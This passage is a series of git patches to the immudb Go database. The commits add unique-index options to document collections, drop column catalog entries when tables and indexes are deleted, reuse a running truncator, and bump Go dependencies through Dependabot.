engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "pincode": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, }) require.NoError(t, err) @@ -285,10 +285,10 @@ func TestQueryDocument(t *testing.T) { // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "pincode": sql.IntegerType, - "country": sql.VarcharType, - "idx": sql.IntegerType, + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "pincode": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, + "idx": {Type: sql.IntegerType}, }) require.NoError(t, err) require.NoError(t, err) @@ -467,8 +467,8 @@ func TestDocumentUpdate(t *testing.T) { // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "country": sql.VarcharType, + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "country": {Type: sql.VarcharType}, }) require.NoError(t, err) require.NoError(t, err) @@ -537,8 +537,8 @@ func TestFloatSupport(t *testing.T) { err := engine.CreateCollection( context.Background(), collectionName, - map[string]sql.SQLValueType{ - "number": sql.Float64Type, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, }, ) require.NoError(t, err) @@ -590,8 +590,8 @@ func TestDeleteCollection(t *testing.T) { // create collection collectionName := "mycollection" - err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ - "idx": sql.IntegerType, + err := engine.CreateCollection(context.Background(), collectionName, map[string]*IndexOption{ + "idx": {Type: sql.IntegerType}, }) require.NoError(t, err) require.NoError(t, err) @@ -630,11 +630,11 @@ func TestUpdateCollection(t *testing.T) { err := engine.CreateCollection( context.Background(), collectionName, - map[string]sql.SQLValueType{ - "number": sql.Float64Type, - "name": sql.VarcharType, - "pin": sql.IntegerType, - "country": sql.VarcharType, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + "name": {Type: sql.VarcharType}, + "pin": {Type: sql.IntegerType}, + "country": {Type: sql.VarcharType}, }, ) require.NoError(t, err) @@ -675,10 +675,10 @@ func TestUpdateCollection(t *testing.T) { err := engine.UpdateCollection( context.Background(), collectionName, - map[string]sql.SQLValueType{ - "data1": sql.VarcharType, - "data2": sql.VarcharType, - "data3": sql.VarcharType, + map[string]*IndexOption{ + "data1": {Type: sql.VarcharType}, + "data2": {Type: sql.VarcharType}, + "data3": {Type: sql.VarcharType}, }, nil, ) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index c7543688a5..a3d9cfc193 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -350,8 +350,8 @@ type ColSpec struct { notNull bool } -func NewCreateIndexStmt(table string, cols []string) *CreateIndexStmt { - return &CreateIndexStmt{unique: true, table: table, cols: cols} +func NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndexStmt { + return &CreateIndexStmt{unique: isUnique, table: table, cols: cols} } type CreateIndexStmt struct { diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 1289069678..9607516f54 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -60,7 +60,7 @@ type DocumentDatabase interface { // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) { - indexKeys := make(map[string]sql.SQLValueType) + indexKeys := make(map[string]*document.IndexOption) // validate index keys for name, pk := range req.IndexKeys { @@ -68,7 +68,10 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat if !isValid { return nil, fmt.Errorf("invalid index key type: %v", pk) } - indexKeys[name] = schType + indexKeys[name] = &document.IndexOption{ + Type: schType, + IsUnique: pk.IsUnique, + } } err := d.documentEngine.CreateCollection(ctx, req.Name, indexKeys) @@ -150,7 +153,7 @@ func newCollectionInformation(collectionName string, indexes []*sql.Index) *sche // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { - indexKeys := make(map[string]sql.SQLValueType) + indexKeys := make(map[string]*document.IndexOption) // validate index keys for name, pk := range req.AddIndexes { @@ -158,7 +161,10 @@ func (d *db) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdat if !isValid { return nil, fmt.Errorf("invalid index key type: %v", pk) } - indexKeys[name] = schType + indexKeys[name] = &document.IndexOption{ + Type: schType, + IsUnique: pk.IsUnique, + } } err := d.documentEngine.UpdateCollection(ctx, req.Name, indexKeys, req.RemoveIndexes) From fdd1b63eecde4daf4f05b2a579ca41cf70b22cae Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 18 Apr 2023 11:20:07 +0530 Subject: [PATCH 0432/1062] chore: delete columns on table deletion --- embedded/document/engine.go | 36 ++++++------- embedded/document/engine_test.go | 91 +++++++++++++++++++++++++++++--- embedded/sql/stmt.go | 59 ++++++++++++++++++--- 3 files changed, 156 insertions(+), 30 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index f044b6defb..d0125a0453 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -236,6 +236,24 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } defer sqlTx.Cancel() + if len(removeIdxKeys) > 0 { + // delete indexes from collection + deleteIdxStmts := make([]sql.SQLStmt, 0) + for _, idx := range removeIdxKeys { + deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) + } + + _, _, err := e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + deleteIdxStmts, + nil, + ) + if err != nil { + return err + } + } + if len(addIdxKeys) > 0 { // add index keys for name, idx := range addIdxKeys { @@ -263,24 +281,6 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } } - if len(removeIdxKeys) > 0 { - // delete indexes from collection - deleteIdxStmts := make([]sql.SQLStmt, 0) - for _, idx := range removeIdxKeys { - deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) - } - - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - deleteIdxStmts, - nil, - ) - if err != nil { - return err - } - } - return sqlTx.Commit(ctx) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 57b199bd62..c0795132a2 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -670,15 +670,94 @@ func TestUpdateCollection(t *testing.T) { }) - t.Run("update collection by adding indexes", func(t *testing.T) { + // t.Run("update collection by adding indexes", func(t *testing.T) { + // // update collection + // err := engine.UpdateCollection( + // context.Background(), + // collectionName, + // map[string]*IndexOption{ + // "data1": {Type: sql.VarcharType}, + // "data2": {Type: sql.VarcharType}, + // "data3": {Type: sql.VarcharType}, + // }, + // nil, + // ) + // require.NoError(t, err) + + // // get collection + // indexes, err := engine.GetCollection(context.Background(), collectionName) + // require.NoError(t, err) + // require.Equal(t, 6, len(indexes)) + + // primaryKeyCount := 0 + // indexKeyCount := 0 + // for _, idx := range indexes { + // // check if primary key + // if idx.IsPrimary() { + // primaryKeyCount += len(idx.Cols()) + // } else { + // indexKeyCount += len(idx.Cols()) + // } + // } + // require.Equal(t, 1, primaryKeyCount) + // require.Equal(t, 5, indexKeyCount) + // }) + +} + +func TestCollectionUpdateWithDeletedIndex(t *testing.T) { + engine := makeEngine(t) + + collectionName := "mycollection" + + t.Run("create collection and add index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "number": {Type: sql.Float64Type}, + }, + ) + require.NoError(t, err) + }) + + t.Run("update collection by deleting indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + nil, + []string{"number"}, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 1, len(indexes)) + + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 0, indexKeyCount) + + }) + + t.Run("update collection by adding the same index should pass", func(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), collectionName, map[string]*IndexOption{ - "data1": {Type: sql.VarcharType}, - "data2": {Type: sql.VarcharType}, - "data3": {Type: sql.VarcharType}, + "number": {Type: sql.Float64Type}, }, nil, ) @@ -687,7 +766,7 @@ func TestUpdateCollection(t *testing.T) { // get collection indexes, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) - require.Equal(t, 6, len(indexes)) + require.Equal(t, 2, len(indexes)) primaryKeyCount := 0 indexKeyCount := 0 @@ -700,7 +779,7 @@ func TestUpdateCollection(t *testing.T) { } } require.Equal(t, 1, primaryKeyCount) - require.Equal(t, 5, indexKeyCount) + require.Equal(t, 1, indexKeyCount) }) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index a3d9cfc193..beaedae183 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4043,7 +4043,30 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str // delete indexes indexes := table.GetIndexes() for _, index := range indexes { - mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) + mappedKey := mapKey( + tx.sqlPrefix(), + catalogIndexPrefix, + EncodeID(1), + EncodeID(table.id), + EncodeID(index.id), + ) + err = tx.delete(mappedKey) + if err != nil { + return nil, err + } + } + + // delete columns + cols := table.ColumnsByID() + for _, col := range cols { + mappedKey := mapKey( + tx.sqlPrefix(), + catalogColumnPrefix, + EncodeID(1), + EncodeID(col.table.id), + EncodeID(col.id), + []byte(col.colType), + ) err = tx.delete(mappedKey) if err != nil { return nil, err @@ -4051,7 +4074,12 @@ func (stmt *DropTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[str } // delete table - mappedKey := mapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(1), EncodeID(table.id)) + mappedKey := mapKey( + tx.sqlPrefix(), + catalogTablePrefix, + EncodeID(1), + EncodeID(table.id), + ) err = tx.delete(mappedKey) if err != nil { return nil, err @@ -4096,15 +4124,34 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - // index, err := table.indexesByName[indexName(table.name, cols)] index, err := table.GetIndexByName(indexName(table.name, []*Column{col})) if err != nil { return nil, err } - // delete indexes - mappedKey := mapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(1), EncodeID(table.id), EncodeID(index.id)) - err = tx.delete(mappedKey) + // delete index + indexKey := mapKey( + tx.sqlPrefix(), + catalogIndexPrefix, + EncodeID(1), + EncodeID(table.id), + EncodeID(index.id), + ) + err = tx.delete(indexKey) + if err != nil { + return nil, err + } + + // delete column associated with index + columnKey := mapKey( + tx.sqlPrefix(), + catalogColumnPrefix, + EncodeID(1), + EncodeID(col.table.id), + EncodeID(col.id), + []byte(col.colType), + ) + err = tx.delete(columnKey) if err != nil { return nil, err } From bc79571a7bf1c49c82db070c233f1f6cd1bdcaa7 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 18 Apr 2023 16:04:40 +0530 Subject: [PATCH 0433/1062] chore: check for column before adding index on collection update --- embedded/document/engine.go | 11 ++++++ embedded/document/engine_test.go | 63 ++++++++++++++++---------------- embedded/sql/stmt.go | 14 ------- 3 files changed, 42 insertions(+), 46 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index d0125a0453..d095a55a11 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -236,6 +236,11 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad } defer sqlTx.Cancel() + table, err := sqlTx.Catalog().GetTableByName(collectionName) + if err != nil { + return err + } + if len(removeIdxKeys) > 0 { // delete indexes from collection deleteIdxStmts := make([]sql.SQLStmt, 0) @@ -261,6 +266,12 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, ad if err != nil { return fmt.Errorf("index key specified is not supported: %v", idx.Type) } + + // check if index column already exists + if _, err := table.GetColumnByName(name); err == nil { + continue + } + // add indexes as new columns to collection updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, idx.Type, colLen, false, false))) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index c0795132a2..9afdde3ad1 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -670,39 +670,38 @@ func TestUpdateCollection(t *testing.T) { }) - // t.Run("update collection by adding indexes", func(t *testing.T) { - // // update collection - // err := engine.UpdateCollection( - // context.Background(), - // collectionName, - // map[string]*IndexOption{ - // "data1": {Type: sql.VarcharType}, - // "data2": {Type: sql.VarcharType}, - // "data3": {Type: sql.VarcharType}, - // }, - // nil, - // ) - // require.NoError(t, err) - - // // get collection - // indexes, err := engine.GetCollection(context.Background(), collectionName) - // require.NoError(t, err) - // require.Equal(t, 6, len(indexes)) - - // primaryKeyCount := 0 - // indexKeyCount := 0 - // for _, idx := range indexes { - // // check if primary key - // if idx.IsPrimary() { - // primaryKeyCount += len(idx.Cols()) - // } else { - // indexKeyCount += len(idx.Cols()) - // } - // } - // require.Equal(t, 1, primaryKeyCount) - // require.Equal(t, 5, indexKeyCount) - // }) + t.Run("update collection by adding indexes", func(t *testing.T) { + // update collection + err := engine.UpdateCollection( + context.Background(), + collectionName, + map[string]*IndexOption{ + "data1": {Type: sql.VarcharType}, + "data2": {Type: sql.VarcharType}, + "data3": {Type: sql.VarcharType}, + }, + nil, + ) + require.NoError(t, err) + + // get collection + indexes, err := engine.GetCollection(context.Background(), collectionName) + require.NoError(t, err) + require.Equal(t, 6, len(indexes)) + primaryKeyCount := 0 + indexKeyCount := 0 + for _, idx := range indexes { + // check if primary key + if idx.IsPrimary() { + primaryKeyCount += len(idx.Cols()) + } else { + indexKeyCount += len(idx.Cols()) + } + } + require.Equal(t, 1, primaryKeyCount) + require.Equal(t, 5, indexKeyCount) + }) } func TestCollectionUpdateWithDeletedIndex(t *testing.T) { diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index beaedae183..93de74aa6c 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -4142,20 +4142,6 @@ func (stmt *DropIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[str return nil, err } - // delete column associated with index - columnKey := mapKey( - tx.sqlPrefix(), - catalogColumnPrefix, - EncodeID(1), - EncodeID(col.table.id), - EncodeID(col.id), - []byte(col.colType), - ) - err = tx.delete(columnKey) - if err != nil { - return nil, err - } - tx.mutatedCatalog = true return tx, nil From 299a405790d73c72b835a966736ac69473705121 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Tue, 18 Apr 2023 16:28:21 +0530 Subject: [PATCH 0434/1062] chore: TruncateDatabase endpoint should use the same ongoing Truncator if present --- pkg/server/errors.go | 1 + pkg/server/server.go | 12 ++++++++++-- pkg/server/truncator.go | 16 ++++++++++++++-- pkg/server/truncator_test.go | 6 ++++++ 4 files changed, 31 insertions(+), 4 deletions(-) diff --git a/pkg/server/errors.go b/pkg/server/errors.go index 319141969d..166752d20c 100644 --- a/pkg/server/errors.go +++ b/pkg/server/errors.go @@ -56,6 +56,7 @@ var ( ErrDatabaseAlreadyLoaded = errors.New("database already loaded") ErrTruncatorNotNeeded = errors.New("truncator is not needed") ErrTruncatorNotInProgress = errors.New("truncation is not in progress") + ErrTruncatorDoesNotExist = errors.New("truncator does not exist") ) func mapServerError(err error) error { diff --git a/pkg/server/server.go b/pkg/server/server.go index 49bb0faa13..ed635a8c0a 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -1679,8 +1679,16 @@ func (s *ImmuServer) TruncateDatabase(ctx context.Context, req *schema.TruncateD } rp := time.Duration(req.RetentionPeriod) * time.Millisecond - truncator := truncator.NewTruncator(db, rp, 0, s.Logger) - err = truncator.Truncate(ctx, rp) + + // check if truncator already exists for the database + var t *truncator.Truncator + + t, err = s.getTruncatorFor(db.GetName()) + if err == ErrTruncatorDoesNotExist { + t = truncator.NewTruncator(db, rp, 0, s.Logger) + } + + err = t.Truncate(ctx, rp) if err != nil { return nil, err } diff --git a/pkg/server/truncator.go b/pkg/server/truncator.go index 5227156a43..9f17943b87 100644 --- a/pkg/server/truncator.go +++ b/pkg/server/truncator.go @@ -23,7 +23,7 @@ import ( "github.com/codenotary/immudb/pkg/truncator" ) -func (s *ImmuServer) truncationInProgressFor(db string) bool { +func (s *ImmuServer) isTruncatorRunningFor(db string) bool { _, ok := s.truncators[db] return ok } @@ -37,7 +37,7 @@ func (s *ImmuServer) startTruncatorFor(db database.DB, dbOpts *dbOptions) error s.truncatorMutex.Lock() defer s.truncatorMutex.Unlock() - if s.truncationInProgressFor(db.GetName()) { + if s.isTruncatorRunningFor(db.GetName()) { return database.ErrTruncatorAlreadyRunning } @@ -90,3 +90,15 @@ func (s *ImmuServer) stopTruncation() { } } } + +func (s *ImmuServer) getTruncatorFor(db string) (*truncator.Truncator, error) { + s.truncatorMutex.Lock() + defer s.truncatorMutex.Unlock() + + t, ok := s.truncators[db] + if !ok { + return nil, ErrTruncatorDoesNotExist + } + + return t, nil +} diff --git a/pkg/server/truncator_test.go b/pkg/server/truncator_test.go index 45c79f0fa0..02def60ca2 100644 --- a/pkg/server/truncator_test.go +++ b/pkg/server/truncator_test.go @@ -85,7 +85,13 @@ func TestServerTruncator(t *testing.T) { err = s.startTruncatorFor(db, dbOpts) require.NoError(t, err) + _, err = s.getTruncatorFor(db.GetName()) + require.NoError(t, err) + s.stopTruncation() + + _, err = s.getTruncatorFor("db3") + require.ErrorIs(t, ErrTruncatorDoesNotExist, err) } func TestServerLoadDatabaseWithRetention(t *testing.T) { From 1b8d6938d2ba7a6ddd4299b996159b39cb342898 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 28 Mar 2023 18:18:26 +0000 Subject: [PATCH 0435/1062] chore(deps): bump github.com/spf13/viper from 1.12.0 to 1.15.0 Bumps [github.com/spf13/viper](https://github.com/spf13/viper) from 1.12.0 to 1.15.0. - [Release notes](https://github.com/spf13/viper/releases) - [Commits](https://github.com/spf13/viper/compare/v1.12.0...v1.15.0) --- updated-dependencies: - dependency-name: github.com/spf13/viper dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 20 +-- go.sum | 514 ++++++++++++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 483 insertions(+), 51 deletions(-) diff --git a/go.mod b/go.mod index c4f1860614..bdc6c4f530 100644 --- a/go.mod +++ b/go.mod @@ -29,17 +29,17 @@ require ( github.com/schollz/progressbar/v2 v2.15.0 github.com/spf13/cobra v1.6.1 github.com/spf13/pflag v1.0.5 - github.com/spf13/viper v1.12.0 + github.com/spf13/viper v1.15.0 github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.7.0 golang.org/x/net v0.8.0 golang.org/x/sys v0.6.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated - google.golang.org/genproto v0.0.0-20220519153652-3a47de7e79bd - google.golang.org/grpc v1.46.2 + google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef + google.golang.org/grpc v1.52.0 google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 - google.golang.org/protobuf v1.28.0 + google.golang.org/protobuf v1.28.1 ) require ( @@ -57,7 +57,7 @@ require ( github.com/deepmap/oapi-codegen v1.8.2 // indirect github.com/dgraph-io/ristretto v0.0.2 // indirect github.com/envoyproxy/protoc-gen-validate v0.3.0-java // indirect - github.com/fsnotify/fsnotify v1.5.4 // indirect + github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect github.com/gogo/protobuf v1.3.2 // indirect github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b // indirect @@ -74,7 +74,7 @@ require ( github.com/jackc/pgproto3/v2 v2.3.0 // indirect github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect github.com/jackc/pgtype v1.11.0 // indirect - github.com/magiconair/properties v1.8.6 // indirect + github.com/magiconair/properties v1.8.7 // indirect github.com/mattn/go-colorable v0.1.12 // indirect github.com/mattn/go-isatty v0.0.14 // indirect github.com/mattn/go-runewidth v0.0.13 // indirect @@ -89,21 +89,21 @@ require ( github.com/ory/viper v1.7.5 // indirect github.com/pborman/uuid v1.2.0 // indirect github.com/pelletier/go-toml v1.9.5 // indirect - github.com/pelletier/go-toml/v2 v2.0.1 // indirect + github.com/pelletier/go-toml/v2 v2.0.6 // indirect github.com/pkg/errors v0.9.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect github.com/pseudomuto/protokit v0.2.1 // indirect github.com/rivo/uniseg v0.2.0 // indirect github.com/russross/blackfriday/v2 v2.1.0 // indirect - github.com/spf13/afero v1.8.2 // indirect + github.com/spf13/afero v1.9.3 // indirect github.com/spf13/cast v1.5.0 // indirect github.com/spf13/jwalterweatherman v1.1.0 // indirect - github.com/subosito/gotenv v1.3.0 // indirect + github.com/subosito/gotenv v1.4.2 // indirect golang.org/x/mod v0.8.0 // indirect golang.org/x/term v0.6.0 // indirect golang.org/x/text v0.8.0 // indirect golang.org/x/tools v0.6.0 // indirect - gopkg.in/ini.v1 v1.66.6 // indirect + gopkg.in/ini.v1 v1.67.0 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/go.sum b/go.sum index 8ea55cb89a..93967dba39 100644 --- a/go.sum +++ b/go.sum @@ -26,30 +26,358 @@ cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+Y cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= +cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= +cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= +cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= +cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= +cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= +cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= +cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= +cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= +cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= +cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= +cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= +cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= +cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= +cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= +cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= +cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= +cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= +cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= +cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= +cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= +cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= +cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= +cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= +cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= +cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= +cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= +cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= +cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= +cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= +cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= +cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= +cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= +cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= +cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= +cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= +cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= +cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= +cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= +cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= +cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= +cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= +cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= +cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= +cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery 